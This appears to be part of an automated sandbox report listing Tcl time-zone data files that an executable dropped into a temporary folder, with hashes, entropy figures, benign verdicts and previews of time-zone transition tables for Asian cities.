MD5:	A30FEA461B22B2CB3A67A616E3AE08FD
SHA1:	F368B215E15F6F518AEBC92289EE703DCAE849A1
SHA-256:	1E2A1569FE432CDA75C64FA55E24CA6F938C1C72C15FBB280D5B04F6C5E9AD69
SHA-512:	4F3D0681791C23EF19AFF239D2932D2CE1C991406F6DC8E313C083B5E03D806D26337ED2477700596D9A9F4FB1B7FC4A551F897A2A88CB7253CC7F863E586F03
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Kathmandu)]} {. LoadTimeZoneFile Asia/Kathmandu.}.set TZData(:Asia/Katmandu) $TZData(:Asia/Kathmandu).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Khandyga

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2156
Entropy (8bit):	3.994799640059983
Encrypted:	false
SSDEEP:	48:5NosZaPG2RxLk3IsfrWEL4mGubhEZIIAs5c:NZa9LLk3IsDWEL4nubqZI7s5c
MD5:	B7AE4C2A3F0ECE90C0D403A0AB081164
SHA1:	0D7EE6B9815D2F345F0F365DC1A995DBE318893F
SHA-256:	81CB55EC1027D305FE1512F93489C17ABA7FD79C4B4E2ADE624DFF7015AA0EC3
SHA-512:	8FCF26D3D6F2E2D4EEBBA9B8897A1B58CB5425F979E5CC357CBFACE567FD0AEB21CD7A0107E3A8C36D2B517BD7EBC023A13E24D121C5EA6ECEF747C599B275BA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Khandyga) {. {-9223372036854775808 32533 0 LMT}. {-1579424533 28800 0 YAKT}. {-1247558400 32400 0 YAKMMTT}. {354898800 36000 1 YAKST}. {370706400 32400 0 YAKT}. {386434800 36000 1 YAKST}. {402242400 32400 0 YAKT}. {417970800 36000 1 YAKST}. {433778400 32400 0 YAKT}. {449593200 36000 1 YAKST}. {465325200 32400 0 YAKT}. {481050000 36000 1 YAKST}. {496774800 32400 0 YAKT}. {512499600 36000 1 YAKST}. {528224400 32400 0 YAKT}. {543949200 36000 1 YAKST}. {559674000 32400 0 YAKT}. {575398800 36000 1 YAKST}. {591123600 32400 0 YAKT}. {606848400 36000 1 YAKST}. {622573200 32400 0 YAKT}. {638298000 36000 1 YAKST}. {654627600 32400 0 YAKT}. {670352400 28800 0 YAKMMTT}. {670356000 32400 1 YAKST}. {686080800 28800 0 YAKT}. {695757600 32400 0 YAKMMTT}. {701791200 36000 1 YAKST}. {717512400 32400 0 YAKT}. {733251600 36000 1 YAKST}. {748976400 32400

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kolkata

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	261
Entropy (8bit):	4.664826781670047
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKvCm2OHEX3gYPZLvH7MsckVVFJGTL/FG/mYd4VFJL:MBp523CmdHNYPZTbXvJGnQmYd4vJL
MD5:	50F6DB5384D951D8E6D0823FC01F0955
SHA1:	DFC73B73C8C8DFB2D7C14DA8DEA869BF8AF3986B
SHA-256:	FA74FCB73E4E7E510A152D5531779E94DB531D791F09D1A55EE177A4A0BF3320
SHA-512:	F731CA322D84A55EDA9A1CDDA92DFB75FA3D7CE0041EE61F26CDA360F0A3B3B24E752BE7E918C80559F8A0F2B775327CBEDB6702818DCC8814FC0224E6239DD9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Kolkata) {. {-9223372036854775808 21208 0 LMT}. {-2840162008 21200 0 HMT}. {-891582800 23400 0 BURT}. {-872058600 19800 0 IST}. {-862637400 23400 1 IST}. {-764145000 19800 0 IST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Krasnoyarsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	3.949583806985103
Encrypted:	false
SSDEEP:	24:cQOCeWCXpYVOXgOE2jjyEkFR5Aynx7Xi/X+TipKS5llw+SNXCB3XkE5VXYpobxei:5ZfKydR/7Sf+uDyPQ3m302jT2o6
MD5:	48BFF1C0F13E7A77B02BFE7E73C9A4A7
SHA1:	5FE600B8A7831CFF022F12D1458A884051695CDA
SHA-256:	CF64D435587772B62AD8466514F3675534239D96B1F74E0494FB586AEBE4A532
SHA-512:	890A425B07A9C8D577EF45D7C876A113FA0045341B9CB6E5119F910EB4778453999F24701635AD4E23A5C6F6E3844870368D9985E54AA154514194A24F57F443
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Krasnoyarsk) {. {-9223372036854775808 22286 0 LMT}. {-1577513486 21600 0 KRAT}. {-1247551200 25200 0 KRAMMTT}. {354906000 28800 1 KRAST}. {370713600 25200 0 KRAT}. {386442000 28800 1 KRAST}. {402249600 25200 0 KRAT}. {417978000 28800 1 KRAST}. {433785600 25200 0 KRAT}. {449600400 28800 1 KRAST}. {465332400 25200 0 KRAT}. {481057200 28800 1 KRAST}. {496782000 25200 0 KRAT}. {512506800 28800 1 KRAST}. {528231600 25200 0 KRAT}. {543956400 28800 1 KRAST}. {559681200 25200 0 KRAT}. {575406000 28800 1 KRAST}. {591130800 25200 0 KRAT}. {606855600 28800 1 KRAST}. {622580400 25200 0 KRAT}. {638305200 28800 1 KRAST}. {654634800 25200 0 KRAT}. {670359600 21600 0 KRAMMTT}. {670363200 25200 1 KRAST}. {686088000 21600 0 KRAT}. {695764800 25200 0 KRAMMTT}. {701798400 28800 1 KRAST}. {717519600 25200 0 KRAT}. {733258800 28800 1 KRAST}. {748983600 25

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kuala_Lumpur

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	4.564891512259757
Encrypted:	false
SSDEEP:	6:SlSWB9X52wK1NLm2OHrPmdXiWOb/qgOMesF3His0dqgs8kvmQCIqgN3Ln:MBp52PLmdHrPdDTNF+8tLn
MD5:	2A5F7A3B1E59AF73A5E26771A7640E32
SHA1:	386D0762AF8C53811288115B94F284B1A982FEEE
SHA-256:	53136CFAEA9593D2A8A885947C985026DB08F863CCA36FEF510E8C0EFFC3CEF7
SHA-512:	469D5C1278C5D4D2BE6D2DB4F7F9868C13FA33A22E13DBC103DDE53408A1E15B8D0FF6DBFC2E23F55786A57120DE43B911D6DACFAE903FD99F1710650F69B382
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Kuala_Lumpur) {. {-9223372036854775808 24406 0 LMT}. {-2177477206 24925 0 SMT}. {-2038200925 25200 0 MALT}. {-1167634800 26400 1 MALST}. {-1073028000 26400 0 MALT}. {-894180000 27000 0 MALT}. {-879665400 32400 0 JST}. {-767005200 27000 0 MALT}. {378664200 28800 0 MYT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kuching

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	703
Entropy (8bit):	4.287678862773185
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKPLKm2OHXXUTdbNMCmGrMF2Mb9KQzztrDcerbhwBuvbnhMrFeiFd3v:MBp52HLKmdHXXUBOvV9rjhWX7zJZn
MD5:	6F86A0A46810B2AD67806D70EEBBC508
SHA1:	D7B07CD9A4B7C60E2DF2E40128B813BAEB34D40D
SHA-256:	623100A7ECB624F697FFAE978878A080D3A24638D945D179A938AAB04A532DBD
SHA-512:	42C57844B398A58A1AA11DBDE29427BD49F61FC5F3B9E66F7850C94574C8AE692FCAE140AA5E531E65461B95E56B6738DB51495D71E675A84C8F6B93A3D01096
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Kuching) {. {-9223372036854775808 26480 0 LMT}. {-1383463280 27000 0 BORT}. {-1167636600 28800 0 BORT}. {-1082448000 30000 1 BORTST}. {-1074586800 28800 0 BORT}. {-1050825600 30000 1 BORTST}. {-1042964400 28800 0 BORT}. {-1019289600 30000 1 BORTST}. {-1011428400 28800 0 BORT}. {-987753600 30000 1 BORTST}. {-979892400 28800 0 BORT}. {-956217600 30000 1 BORTST}. {-948356400 28800 0 BORT}. {-924595200 30000 1 BORTST}. {-916734000 28800 0 BORT}. {-893059200 30000 1 BORTST}. {-885198000 28800 0 BORT}. {-879667200 32400 0 JST}. {-767005200 28800 0 BORT}. {378662400 28800 0 MYT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Kuwait

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	168
Entropy (8bit):	4.82804794783422
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8t1zVAIgNsM1E2WFKdQWFK81S:SlSWB9IZaM3yN1zVAIgaM1E2wKdQwK8c
MD5:	6D6109F6EC1E12881C60EC44AAEB772B
SHA1:	B5531BEAC1C07DA57A901D0A48F4E1AC03F07467
SHA-256:	67BB9F159C752C744AC6AB26BBC0688CF4FA94C58C23B2B49B871CAA8774FC5D
SHA-512:	B0624B9F936E5C1392B7EBB3190D7E97EAE96647AB965BB9BE045D2C3082B1C7E48FF89A7B57FD3475D018574E7294D45B068C555A43AAEDFD65AC5C5C5D0A5B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Riyadh)]} {. LoadTimeZoneFile Asia/Riyadh.}.set TZData(:Asia/Kuwait) $TZData(:Asia/Riyadh).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Macao

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.729350272507574
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8PpVAIgNz5YF2WFKf+WFKjn:SlSWB9IZaM3yxVAIgLYF2wKGwKjn
MD5:	DB6155900D4556EE7B3089860AD5C4E3
SHA1:	708E4AE427C8BAF589509F4330C389EE55C1D514
SHA-256:	8264648CF1EA3E352E13482DE2ACE70B97FD37FBB1F28F70011561CFCBF533EA
SHA-512:	941D52208FABB634BABCD602CD468F2235199813F4C1C5AB82A453E8C4CE4543C1CE3CBDB9D035DB039CFFDBC94D5D0F9D29363442E2458426BDD52ECDF7C3C5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Macau)]} {. LoadTimeZoneFile Asia/Macau.}.set TZData(:Asia/Macao) $TZData(:Asia/Macau).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Macau

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	3.979357479876244
Encrypted:	false
SSDEEP:	24:cQ2eCXRr4zG7JG/UDzUUas7yAckSTcvZIItNnl2TtCjjz21z2:5oRr4y7o8DSlT+ln91
MD5:	D5EAFB8BDD7331EE6152B1FA3C179492
SHA1:	25AB37395DA05A828CFE545931C9EE0BBC47E4CD
SHA-256:	432CC7EA35F46F1BC95F1863FBC540BD1B541BBFD1CE3FFC2DA404C1104E8596
SHA-512:	F26B1FE6EB3561DBC01671452C72912C18AEE8AD34F49BD2F27E44C253F1A17EA1AE1B7E39EE0908272BF92F974CB84995885EBD271797AA492A33D3B42AABBE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Macau) {. {-9223372036854775808 27260 0 LMT}. {-1830411260 28800 0 MOT}. {-277360200 32400 1 MOST}. {-257405400 28800 0 MOT}. {-245910600 32400 1 MOST}. {-225955800 28800 0 MOT}. {-214473600 32400 1 MOST}. {-194506200 28800 0 MOT}. {-182406600 32400 1 MOST}. {-163056600 28800 0 MOT}. {-150969600 32400 1 MOST}. {-131619600 28800 0 MOT}. {-117088200 32400 1 MOST}. {-101367000 28800 0 MOT}. {-85638600 32400 1 MOST}. {-69312600 28800 0 MOT}. {-53584200 32400 1 MOST}. {-37863000 28800 0 MOT}. {-22134600 32400 1 MOST}. {-6413400 28800 0 MOT}. {9315000 32400 1 MOST}. {25036200 28800 0 MOT}. {40764600 32400 1 MOST}. {56485800 28800 0 MOT}. {72201600 32400 1 MOST}. {87922800 28800 0 MOT}. {103651200 32400 1 MOST}. {119977200 28800 0 MOT}. {135705600 32400 1 MOST}. {151439400 28800 0 MOT}. {167167800 32400 1 MOST}. {182889000 28800 0 MOT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Magadan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	3.9611945608474217
Encrypted:	false
SSDEEP:	24:cQmech8vhOCTi7ZXltAtwGpd296ymXPO9UHxQdCHt/CXHmW9YbcINuC:5ZvhBiR8ld296yKPO9UHj1UGWgc4uC
MD5:	E9010A0624F17201EDAE5BB52D16AF30
SHA1:	9640299D919D53BA79D4A5BF3210A1AE3B22D0E8
SHA-256:	BB2FE59341E7BAD597632202026DE2ECA73C78E5C08F659E78B6A9CC8CF1F1AF
SHA-512:	347BE45C9309DE99130E1849B1BD1F58295196394600122730F2BC7D76A5FD40BBA758256B39B32CB983C2378AB028FF33F7FF06253753C50D2193F229A65748
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Magadan) {. {-9223372036854775808 36192 0 LMT}. {-1441188192 36000 0 MAGT}. {-1247565600 39600 0 MAGMMTT}. {354891600 43200 1 MAGST}. {370699200 39600 0 MAGT}. {386427600 43200 1 MAGST}. {402235200 39600 0 MAGT}. {417963600 43200 1 MAGST}. {433771200 39600 0 MAGT}. {449586000 43200 1 MAGST}. {465318000 39600 0 MAGT}. {481042800 43200 1 MAGST}. {496767600 39600 0 MAGT}. {512492400 43200 1 MAGST}. {528217200 39600 0 MAGT}. {543942000 43200 1 MAGST}. {559666800 39600 0 MAGT}. {575391600 43200 1 MAGST}. {591116400 39600 0 MAGT}. {606841200 43200 1 MAGST}. {622566000 39600 0 MAGT}. {638290800 43200 1 MAGST}. {654620400 39600 0 MAGT}. {670345200 36000 0 MAGMMTT}. {670348800 39600 1 MAGST}. {686073600 36000 0 MAGT}. {695750400 39600 0 MAGMMTT}. {701784000 43200 1 MAGST}. {717505200 39600 0 MAGT}. {733244400 43200 1 MAGST}. {748969200 39600

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Makassar

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	235
Entropy (8bit):	4.733228681678453
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKCm2OHUVRYQTLQTvUfkc3g/xlHkH8vm+Wv:MBp526mdHsrTD8cQZd7kv
MD5:	82906ADF0FCACBEED34B7F801DDC3024
SHA1:	7E57471D9622F870AE4B8DCC5FEE555A7DCBBDFD
SHA-256:	40B2C3BDA0FA2D0ABE2848C5F435FAE5D80356B439701DAEBDD5F28A1C822B29
SHA-512:	FE9FA3D531A4CE1EBDF6B77E123BA47D8F37A07C59F2107C7AF794AF9959247F74F107556808640190C5AE44F2DBF6CFACCFC6C9AEBB2330953BE78E45A78349
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Makassar) {. {-9223372036854775808 28656 0 LMT}. {-1577951856 28656 0 MMT}. {-1172908656 28800 0 WITA}. {-880272000 32400 0 JST}. {-766054800 28800 0 WITA}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Manila

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	4.441574068554676
Encrypted:	false
SSDEEP:	6:SlSWB9X52wKefwJm2OHVkezucVAePHZb8vfRvWdAcQzvmy2mRKEjvfgAf5kvfQQC:MBp52G4JmdHnzZBPyHncQzXXjHiH6
MD5:	CCDABEEDF0EC4CC598557F5F7C18568A
SHA1:	D4C3EB158887A7B564DD7462FD8BDD52E95B6B98
SHA-256:	19BA48A251DBCF8435B4D8797AE9EE94CF24D9247A1ADD987B3A6075EB0FE4D3
SHA-512:	A24F2264F258CF502C64FE4EC4ED393D0B74325AB4203D14A97ECEF435D0811196FFA6884328E8B0BCE5348B70665E05549AEB280F880BC901CA6A82E59A938A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Manila) {. {-9223372036854775808 -57360 0 LMT}. {-3944621040 29040 0 LMT}. {-2229321840 28800 0 PHT}. {-1046678400 32400 1 PHST}. {-1038733200 28800 0 PHT}. {-873273600 32400 0 JST}. {-794221200 28800 0 PHT}. {-496224000 32400 1 PHST}. {-489315600 28800 0 PHT}. {259344000 32400 1 PHST}. {275151600 28800 0 PHT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Muscat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	165
Entropy (8bit):	4.754394427749078
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8DhVAIgN6Sn62WFKvE+H+WFKQo:SlSWB9IZaM3yjhVAIgMS62wKLewKQo
MD5:	5D8EBBC297A2258C352BC80535B7F7F1
SHA1:	684CAF480AF5B8A98D9AD1A1ECD4E07434F36875
SHA-256:	4709F2DA036EB96FB7B6CC40859BF59F1146FE8D3A7AFE326FBA3B8CB68049CE
SHA-512:	FD67E920D3D5FE69AF35535A8BBD2791204C6B63050EFECC0857F24D393712C4BC4660EA0A350D2A4DDA144073413BE013D71D73E6F3638CA30480541F9731FA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Dubai)]} {. LoadTimeZoneFile Asia/Dubai.}.set TZData(:Asia/Muscat) $TZData(:Asia/Dubai).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Nicosia

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7368
Entropy (8bit):	3.620699686510499
Encrypted:	false
SSDEEP:	96:EPByq7VKviW/naKl9sUM2kNU4tztagAwkY5V778e27zo2yiQ6kjmyykeP2lwtOEA:EPFi//uh2kNU4tB715pyzHy1gA
MD5:	21EEEC6314C94D1476C2E79BBACFEB77
SHA1:	2C9805CD01C84D446CBDB90B9542CB24CCDE4E39
SHA-256:	7AAB1AC67D96287EE468608506868707B28FCD27A8F53128621801DCF0122162
SHA-512:	D4B0A0E60B102E10E03CF5BD07C5783E908D5E7079B646177C57C30D67B44C114EFF4DCFC71AF8441D67BD5A351068FBFFD8C5E08F06F1D69946B3EA7D49FC2D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Nicosia) {. {-9223372036854775808 8008 0 LMT}. {-1518920008 7200 0 EET}. {166572000 10800 1 EEST}. {182293200 7200 0 EET}. {200959200 10800 1 EEST}. {213829200 7200 0 EET}. {228866400 10800 1 EEST}. {243982800 7200 0 EET}. {260316000 10800 1 EEST}. {276123600 7200 0 EET}. {291765600 10800 1 EEST}. {307486800 7200 0 EET}. {323820000 10800 1 EEST}. {338936400 7200 0 EET}. {354664800 10800 1 EEST}. {370386000 7200 0 EET}. {386114400 10800 1 EEST}. {401835600 7200 0 EET}. {417564000 10800 1 EEST}. {433285200 7200 0 EET}. {449013600 10800 1 EEST}. {465339600 7200 0 EET}. {481068000 10800 1 EEST}. {496789200 7200 0 EET}. {512517600 10800 1 EEST}. {528238800 7200 0 EET}. {543967200 10800 1 EEST}. {559688400 7200 0 EET}. {575416800 10800 1 EEST}. {591138000 7200 0 EET}. {606866400 10800 1 EEST}. {622587600 7200 0 EET}. {638316000 10800

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Novokuznetsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2130
Entropy (8bit):	3.9912071944834855
Encrypted:	false
SSDEEP:	24:cQ2fen8NXpYVOXgOE2jjyEkFR5Aynx7Xi/X+TipKS5llw+SNXCB3XkE5VXYpobxK:5bfKydR/7Sf+uDyPQ3m302jT2oj
MD5:	A05E0DF442F5CF466EC97D808898B96D
SHA1:	63A63068F7EA2FFA0A7F5A534D71F83FB42E4B5A
SHA-256:	969DB2F0A92F62872D2ABE626CBC2E532690DFF8E577444B577D8D79C23F8962
SHA-512:	7A91A9269400087C5CE1B51C429102B296D16540101C267340A1064CFEB2C6084959D9B84FF8C27285FAC7C19C66F4D1C1E3EAE5EC4949A079C135F30BC9B418
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Novokuznetsk) {. {-9223372036854775808 20928 0 LMT}. {-1441259328 21600 0 KRAT}. {-1247551200 25200 0 KRAMMTT}. {354906000 28800 1 KRAST}. {370713600 25200 0 KRAT}. {386442000 28800 1 KRAST}. {402249600 25200 0 KRAT}. {417978000 28800 1 KRAST}. {433785600 25200 0 KRAT}. {449600400 28800 1 KRAST}. {465332400 25200 0 KRAT}. {481057200 28800 1 KRAST}. {496782000 25200 0 KRAT}. {512506800 28800 1 KRAST}. {528231600 25200 0 KRAT}. {543956400 28800 1 KRAST}. {559681200 25200 0 KRAT}. {575406000 28800 1 KRAST}. {591130800 25200 0 KRAT}. {606855600 28800 1 KRAST}. {622580400 25200 0 KRAT}. {638305200 28800 1 KRAST}. {654634800 25200 0 KRAT}. {670359600 21600 0 KRAMMTT}. {670363200 25200 1 KRAST}. {686088000 21600 0 KRAT}. {695764800 25200 0 KRAMMTT}. {701798400 28800 1 KRAST}. {717519600 25200 0 KRAT}. {733258800 28800 1 KRAST}. {748983600 2

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Novosibirsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	3.9575220631817074
Encrypted:	false
SSDEEP:	24:cQ2sIe2lNXh/iOIYyxFRP7z/X9TipN5xCB0wuoC1SQ7x7QwC4Jc/srC2TTV9oOu6:5HYKKy/RP7zf9uXniu7ZTTwOr
MD5:	30BE2EEB01A3794FABBF61FE7D85F8D3
SHA1:	81A6C50077FFECAE5FA86A9785F5BB26C36464FE
SHA-256:	013528D12C8A252F7A3AC908808AFF5CC37181BE54CE8B1D7E1594F06E4907DB
SHA-512:	F40DE8D586686181D8999A6800DBBBD767C77A903865E97E03C8556D2AEED9749F43B9CA249CE2110A8E586FD55507BB408630A8BBBAAEF5A0CDDDDD0BA349DA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Novosibirsk) {. {-9223372036854775808 19900 0 LMT}. {-1579476700 21600 0 NOVT}. {-1247551200 25200 0 NOVMMTT}. {354906000 28800 1 NOVST}. {370713600 25200 0 NOVT}. {386442000 28800 1 NOVST}. {402249600 25200 0 NOVT}. {417978000 28800 1 NOVST}. {433785600 25200 0 NOVT}. {449600400 28800 1 NOVST}. {465332400 25200 0 NOVT}. {481057200 28800 1 NOVST}. {496782000 25200 0 NOVT}. {512506800 28800 1 NOVST}. {528231600 25200 0 NOVT}. {543956400 28800 1 NOVST}. {559681200 25200 0 NOVT}. {575406000 28800 1 NOVST}. {591130800 25200 0 NOVT}. {606855600 28800 1 NOVST}. {622580400 25200 0 NOVT}. {638305200 28800 1 NOVST}. {654634800 25200 0 NOVT}. {670359600 21600 0 NOVMMTT}. {670363200 25200 1 NOVST}. {686088000 21600 0 NOVT}. {695764800 25200 0 NOVMMTT}. {701798400 28800 1 NOVST}. {717519600 25200 0 NOVT}. {733258800 28800 1 NOVST}. {738090000 25

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Omsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2089
Entropy (8bit):	3.8730396740921473
Encrypted:	false
SSDEEP:	24:cQaEeHt6l6QFCxZq7LDZgr4jm5+WKvTT5Tm5HTPbEmC5QzCpomuSCh023HlUwCsp:5aapkq9DJ9EHL4mREetpTTyOZ
MD5:	9D93055DC764D1532351DD929F60E178
SHA1:	9E6962D86CFBB0FF375D55DEE2A72ABA6601CA85
SHA-256:	61DF8A038C81BBD1014696C19E3030E1839779A76EC113BB2BAE3A1179638908
SHA-512:	A350E3BC02C52C378C935A075ECE2C94370353480D02FF77E8D9D5EEA70F878B87CF5B173974D082B03D906A115D36B8FE3273D88E9234BACFB055420D7E33C9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Omsk) {. {-9223372036854775808 17610 0 LMT}. {-1582088010 18000 0 OMST}. {-1247547600 21600 0 OMSMMTT}. {354909600 25200 1 OMSST}. {370717200 21600 0 OMST}. {386445600 25200 1 OMSST}. {402253200 21600 0 OMST}. {417981600 25200 1 OMSST}. {433789200 21600 0 OMST}. {449604000 25200 1 OMSST}. {465336000 21600 0 OMST}. {481060800 25200 1 OMSST}. {496785600 21600 0 OMST}. {512510400 25200 1 OMSST}. {528235200 21600 0 OMST}. {543960000 25200 1 OMSST}. {559684800 21600 0 OMST}. {575409600 25200 1 OMSST}. {591134400 21600 0 OMST}. {606859200 25200 1 OMSST}. {622584000 21600 0 OMST}. {638308800 25200 1 OMSST}. {654638400 21600 0 OMST}. {670363200 18000 0 OMSMMTT}. {670366800 21600 1 OMSST}. {686091600 18000 0 OMST}. {695768400 21600 0 OMSMMTT}. {701802000 25200 1 OMSST}. {717523200 21600 0 OMST}. {733262400 25200 1 OMSST}. {748987200 21600 0 O

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Oral

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1683
Entropy (8bit):	3.967686330951165
Encrypted:	false
SSDEEP:	24:cQ3eHy9r8hb2JJGI4Sdgb88+8g6zcCbYQftQkSbFQvQQGeQZWbWQhKQDccXQfuQn:5FB8hb2GIpco6Z4b
MD5:	4BAEFD23FCA4E54B97FD87022C99A34C
SHA1:	E43F66AD0D661A280D0E738C5E287DE8E470E7ED
SHA-256:	2D551E0CFCDEB165033A91FB36DB2104C1B1A768EACE2BF722E88555A2981072
SHA-512:	6B34B16EFF99CFE6B12E3A2EF503139CBDBAC162B314DE0D031F5EEF5CC5517DA52965D84367E727924157BF19D2F522031D7760EF4F1B321EBB921C05BA0BCD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Oral) {. {-9223372036854775808 12324 0 LMT}. {-1441164324 14400 0 URAT}. {-1247544000 18000 0 URAT}. {354913200 21600 1 URAST}. {370720800 21600 0 URAT}. {386445600 18000 0 URAT}. {386449200 21600 1 URAST}. {402256800 18000 0 URAT}. {417985200 21600 1 URAST}. {433792800 18000 0 URAT}. {449607600 21600 1 URAST}. {465339600 18000 0 URAT}. {481064400 21600 1 URAST}. {496789200 18000 0 URAT}. {512514000 21600 1 URAST}. {528238800 18000 0 URAT}. {543963600 21600 1 URAST}. {559688400 18000 0 URAT}. {575413200 21600 1 URAST}. {591138000 18000 0 URAT}. {606862800 14400 0 URAT}. {606866400 18000 1 URAST}. {622591200 14400 0 URAT}. {638316000 18000 1 URAST}. {654645600 14400 0 URAT}. {662673600 14400 0 URAT}. {692827200 14400 0 ORAT}. {701809200 18000 1 ORAST}. {717530400 14400 0 ORAT}. {733269600 18000 1 ORAST}. {748994400 14400 0 ORAT}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Phnom_Penh

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.911861786274714
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8VLYO5YFwVAIgN8ELYOAvN2WFKeHKLNM0WFKELYOun:SlSWB9IZaM3y1LewVAIgKELUvN2wKTNp
MD5:	754059D3B44B7D60FB3BBFC97782C6CF
SHA1:	6AE931805E6A42836D65E4EBC76A58BBFB3DCAF4
SHA-256:	2C2DBD952FDA5CC042073B538C240B11C5C8E614DD4A697E1AA4C80E458575D0
SHA-512:	B5AA4B51699EEAE0D9F91BBAB5B682BD84537C4E2CCE282613E1FFA1DDBE562CA487FB2F8CD006EE9DBC9EFAEFA587EC9998F0364E5C932CDB42C14319328D46
Malicious:	false
Reputation:	unknown
